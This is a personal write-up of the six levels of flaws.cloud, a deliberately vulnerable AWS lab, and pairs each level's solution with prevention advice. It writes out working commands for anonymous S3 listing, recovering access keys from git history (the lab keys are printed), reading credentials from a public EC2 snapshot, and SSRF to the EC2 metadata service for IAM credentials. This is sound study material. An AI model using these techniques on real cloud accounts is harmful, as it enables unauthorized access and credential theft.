flaws.cloud

AWS Security Misconfiguration — Learning Journey

Documented by: Kelvin Saw

Date: July 2026

Part of the 6-Month Cloud Security Self-Study Plan

Introduction

flaws.cloud is a deliberately vulnerable AWS environment created by Scott Piper (summitroute) to teach common AWS security misconfigurations through hands-on challenges. This document records the problem, solution, and prevention for each of the 6 levels completed as part of a structured cloud security self-study plan.

Tools used: AWS CLI v2.35.20, Windows 11 CMD, Browser, Git

Summary of Findings

Level	Misconfiguration	Severity	Fix
1	Public S3 Bucket	🔴 Critical	Enable S3 Block Public Access
2	S3 Readable by Any AWS User	🟠 High	Remove AuthenticatedUsers ACL
3	Credentials in Git History	🔴 Critical	Rotate keys, scan repos with GitLeaks
4	Public EC2 Snapshot	🔴 Critical	Make snapshots private, encrypt them
5	SSRF via EC2 Metadata	🔴 Critical	Enforce IMDSv2 on all EC2 instances
6	IAM Enumeration	🟠 High	Apply least privilege to audit roles

Level 1: Public S3 Bucket [Critical]

Problem

The flaws.cloud website is hosted on an S3 bucket. The bucket was configured to allow public listing — meaning anyone on the internet, without any credentials, could list all files inside it. A sensitive file (secret-dd02c7c.html) was hidden inside but discoverable by listing the bucket contents.

What We Did (Solution)

Step 1 — Identified S3 Hosting via DNS

The website hinted that the site is hosted on S3. We confirmed by visiting the IP in a browser which redirected to the AWS S3 console.

Step 2 — Listed the Bucket Anonymously

Using AWS CLI with the --no-sign-request flag (no credentials needed):

```
aws s3 ls s3://flaws.cloud/ --no-sign-request
```

This returned all files including the hidden secret file:

```
secret-dd02c7c.html
```

Step 3 — Accessed the Secret File

Visited flaws.cloud/secret-dd02c7c.html in browser which revealed the Level 2 URL.

Prevention

- Enable S3 Block Public Access at the account level — prevents any bucket from being made public
- Never store sensitive files in public-facing S3 buckets
- Regularly audit bucket permissions using AWS Config rule: s3-bucket-public-read-prohibited
- Use AWS Trusted Advisor to scan for publicly accessible buckets

Real World Impact

Publicly accessible S3 buckets have caused numerous high-profile data breaches including exposure of government data, financial records, and personal information. This is consistently one of the top AWS misconfigurations found in security audits.

Level 2: S3 Readable by Any AWS User [High]

Problem

Similar to Level 1 but the bucket was not fully public — it was configured to allow access by any authenticated AWS user. This means anyone with an AWS account (all ~300 million AWS account holders) could read the bucket contents.

What We Did (Solution)

Step 1 — Listed the Bucket with Credentials

Unlike Level 1, this required AWS credentials. We used our configured kelvin-admin profile:

```
aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
```

This returned the secret file: secret-e4443fc.html

Step 2 — Accessed the Secret File

Visited the secret file URL in browser to get Level 3 URL.

Prevention

- Never use AuthenticatedUsers in S3 bucket ACLs — this grants access to ALL AWS accounts worldwide
- Use specific IAM roles or users as principals in bucket policies instead
- Enable AWS Config rule: s3-bucket-public-read-prohibited
- Use S3 Block Public Access which also blocks AuthenticatedUsers ACLs

Key Learning

The difference between Level 1 and Level 2 is subtle but important. Level 1 was accessible by anyone. Level 2 required an AWS account but that still means millions of potential attackers. Both are serious misconfigurations.

Level 3: Credentials Leaked in Git History [Critical]

Problem

The S3 bucket contained a .git directory. A developer had accidentally committed AWS access keys to the repository, realized the mistake, and deleted the file in a subsequent commit. However git history is permanent — the credentials remained visible in the commit history.

What We Did (Solution)

Step 1 — Downloaded the Entire Bucket

```
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/
C:\Users\Kelvin\Desktop\level3 --no-sign-request
```

Step 2 — Checked Git Commit History

```
cd C:\Users\Kelvin\Desktop\level3git log
```

Found a suspicious commit message: "Oops, accidentally added something I shouldn't have"

Step 3 — Viewed the Deleted Content

```
git log -p
```

The patch output showed lines starting with - (removed) containing:

```
-access_key AKIAJ366LIPB4IJKT7SA-secret_access_key
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
```

Step 4 — Used Leaked Credentials

```
aws configure --profile flawsaws --profile flaws s3 ls
```

The leaked credentials belonged to a 'backup' IAM user that had access to list ALL S3 buckets in the account, revealing all level URLs.

Prevention

- Immediately rotate/delete any exposed AWS access keys in IAM
- Use git filter-branch or BFG Repo Cleaner to purge credentials from git history
- Install pre-commit hooks using tools like GitLeaks or detect-secrets to prevent commits containing credentials
- Enable GitHub secret scanning — GitHub automatically alerts when AWS keys are pushed
- Never hardcode credentials — use IAM roles, AWS Secrets Manager, or environment variables
- Add .env and credentials files to .gitignore

Tools for Detection

- GitLeaks — scans git history for secrets
- TruffleHog — finds credentials in git history
- AWS Secrets Manager — proper secrets storage
- GitHub Advanced Security — automated secret scanning

Level 4: Public EC2 Snapshot [Critical]

Problem

An EC2 snapshot (backup of a server's hard drive) was accidentally made public. The snapshot contained an nginx setup script with hardcoded credentials in plaintext. Anyone could create a volume from this public snapshot, attach it to their own EC2 instance, and read all files.

What We Did (Solution)

Step 1 — Found the Public Snapshot

Used the account ID discovered earlier (975426262029) to find snapshots:

```
aws --profile flaws ec2 describe-snapshots --owner-id 975426262029 --region us-west-2
```

Found: snap-0b49342abd1bdcb89 ("flaws backup 2017.02.27", Encrypted: false)

Step 2 — Created a Volume from the Snapshot

In our own AWS account:

```
aws --profile kelvin ec2 create-volume --snapshot-id snap-0b49342abd1bdcb89
--availability-zone us-west-2a --region us-west-2
```

Step 3 — Launched EC2 and Attached Volume

- Launched a t3.micro EC2 instance in us-west-2a
- Attached the volume as /dev/xvdf
- SSH'd into the instance using the key pair

Step 4 — Mounted and Read the Volume

```
sudo mount /dev/xvdf1 /mntcat /mnt/home/ubuntu/setupNginx.sh
```

Found credentials:

```
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
```

Prevention

- Never make EC2 snapshots public — keep them private
- Always encrypt snapshots (Encrypted: true) — encrypted snapshots cannot be shared publicly
- Regularly audit snapshots: aws ec2 describe-snapshots --owner-id <your-account-id>
- Use AWS Config rule to detect public snapshots
- Never store credentials in setup scripts — use IAM roles or AWS Secrets Manager
- Terminate unused EC2 instances and delete unused volumes/snapshots

Level 5: SSRF via EC2 Metadata Service [Critical]

Problem

The EC2 instance had a web proxy that would fetch any URL on behalf of the user. This allowed an attacker to use the server as a bridge to access the EC2 metadata service at 169.254.169.254 — an internal IP only accessible from within the EC2 instance. The metadata service exposed temporary IAM credentials.

What We Did (Solution)

Step 1 — Discovered the Proxy

The Level 5 page revealed a proxy endpoint on the EC2 that fetches any URL provided after /proxy/.

Step 2 — Accessed EC2 Metadata via Proxy (SSRF)

The EC2 metadata service lives at 169.254.169.254 — only accessible from inside the EC2. We used the proxy to reach it:

```
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/
```

Response showed the IAM role name: flaws

Step 3 — Extracted Temporary Credentials

```
http://[ec2-url]/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
```

This returned temporary AWS credentials (AccessKeyId starting with ASIA, SecretAccessKey, and SessionToken) that could be used to access AWS resources as the EC2's IAM role.

Prevention

- Enforce IMDSv2 (Instance Metadata Service v2) on all EC2 instances — requires a session token before accessing metadata, making SSRF attacks much harder
- Use IMDSv2: aws ec2 modify-instance-metadata-options --http-tokens required
- Never build proxy functionality that can reach internal IPs
- Block access to 169.254.169.254 from web applications using WAF rules
- Apply least privilege IAM roles to EC2 instances

Real World Impact

The 2019 Capital One breach exploited exactly this vulnerability — an attacker used SSRF to access EC2 metadata and steal IAM credentials, ultimately accessing over 100 million customer records. This is one of the most impactful cloud attack techniques.

Level 6: IAM Enumeration via Overpermissive Audit Role [High]

Problem

A SecurityAudit IAM policy was attached to the Level6 user along with a list_apigateways policy. While SecurityAudit is meant for read-only auditing, it provided enough permissions to enumerate the entire infrastructure — Lambda functions, API Gateway configurations, and their relationships — allowing an attacker to discover and invoke a hidden Lambda function.

What We Did (Solution)

Step 1 — Configured Provided Credentials

```
aws configure --profile level6aws --profile level6 sts get-caller-identity
```

Confirmed identity as user: Level6 in account 975426262029

Step 2 — Enumerated IAM Policies

```
aws --profile level6 iam list-attached-user-policies --user-name Level6
```

Found two policies: MySecurityAudit and list_apigateways — the list_apigateways policy was the hint.

Step 3 — Found Lambda Function

```
aws --profile level6 lambda list-functions --region us-west-2
```

Found Lambda function named Level6.

Step 4 — Discovered API Gateway Connection

```
aws --profile level6 lambda get-policy --function-name Level6 --region us-west-2
```

Revealed the API Gateway ID (s33ppypa75) and path (/level6) that triggers the Lambda.

Step 5 — Found API Stage Name

```
aws --profile level6 apigateway get-stages --rest-api-id s33ppypa75 --region us-west-2
```

Found stage name: Prod

Step 6 — Constructed and Invoked the API

```
https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
```

Triggering the Lambda returned the final URL, completing the challenge.

Prevention

- Apply least privilege to SecurityAudit roles — review exactly what they can enumerate
- Separate audit permissions from operational permissions

- Use AWS Organizations SCPs to restrict what audit roles can access
- Regularly review IAM policies using IAM Access Analyzer
- Monitor enumeration activity in CloudTrail — excessive list/describe calls are a red flag
- Consider using AWS Security Hub which provides managed security standards

Key Takeaways

Common Themes

- Least privilege — every level could have been prevented by restricting permissions
- Encryption — unencrypted resources (snapshots, S3) are more easily exposed
- Secrets management — credentials should never be in code, scripts, or git history
- Network segmentation — internal services (metadata) should not be reachable via proxies
- Regular auditing — misconfigurations should be caught before attackers find them

AWS Services for Prevention

AWS Service	What it prevents
AWS Config	Continuously monitors for misconfigurations like public S3 buckets
AWS Security Hub	Aggregates security findings across all AWS services
AWS GuardDuty	Detects suspicious activity and threats in real time
AWS IAM Access Analyzer	Identifies resources shared outside your account
AWS Secrets Manager	Proper storage for credentials instead of hardcoding
IMDSv2	Protects EC2 metadata from SSRF attacks
S3 Block Public Access	Prevents S3 buckets from being made public
CloudTrail + CloudWatch	Logs and alerts on suspicious API activity

Attack Progression Observed

A key insight from flaws.cloud is how misconfigurations chain together:

```
Public S3 bucket → Git history → Leaked credentials → Account enumeration
↓                              Public snapshot → Credential theft
↓                              SSRF → Metadata → Temporary credentials
```

Each misconfiguration alone may seem minor, but chained together they create a complete attack path from anonymous access to full account compromise. This is why defence in depth is critical in cloud security.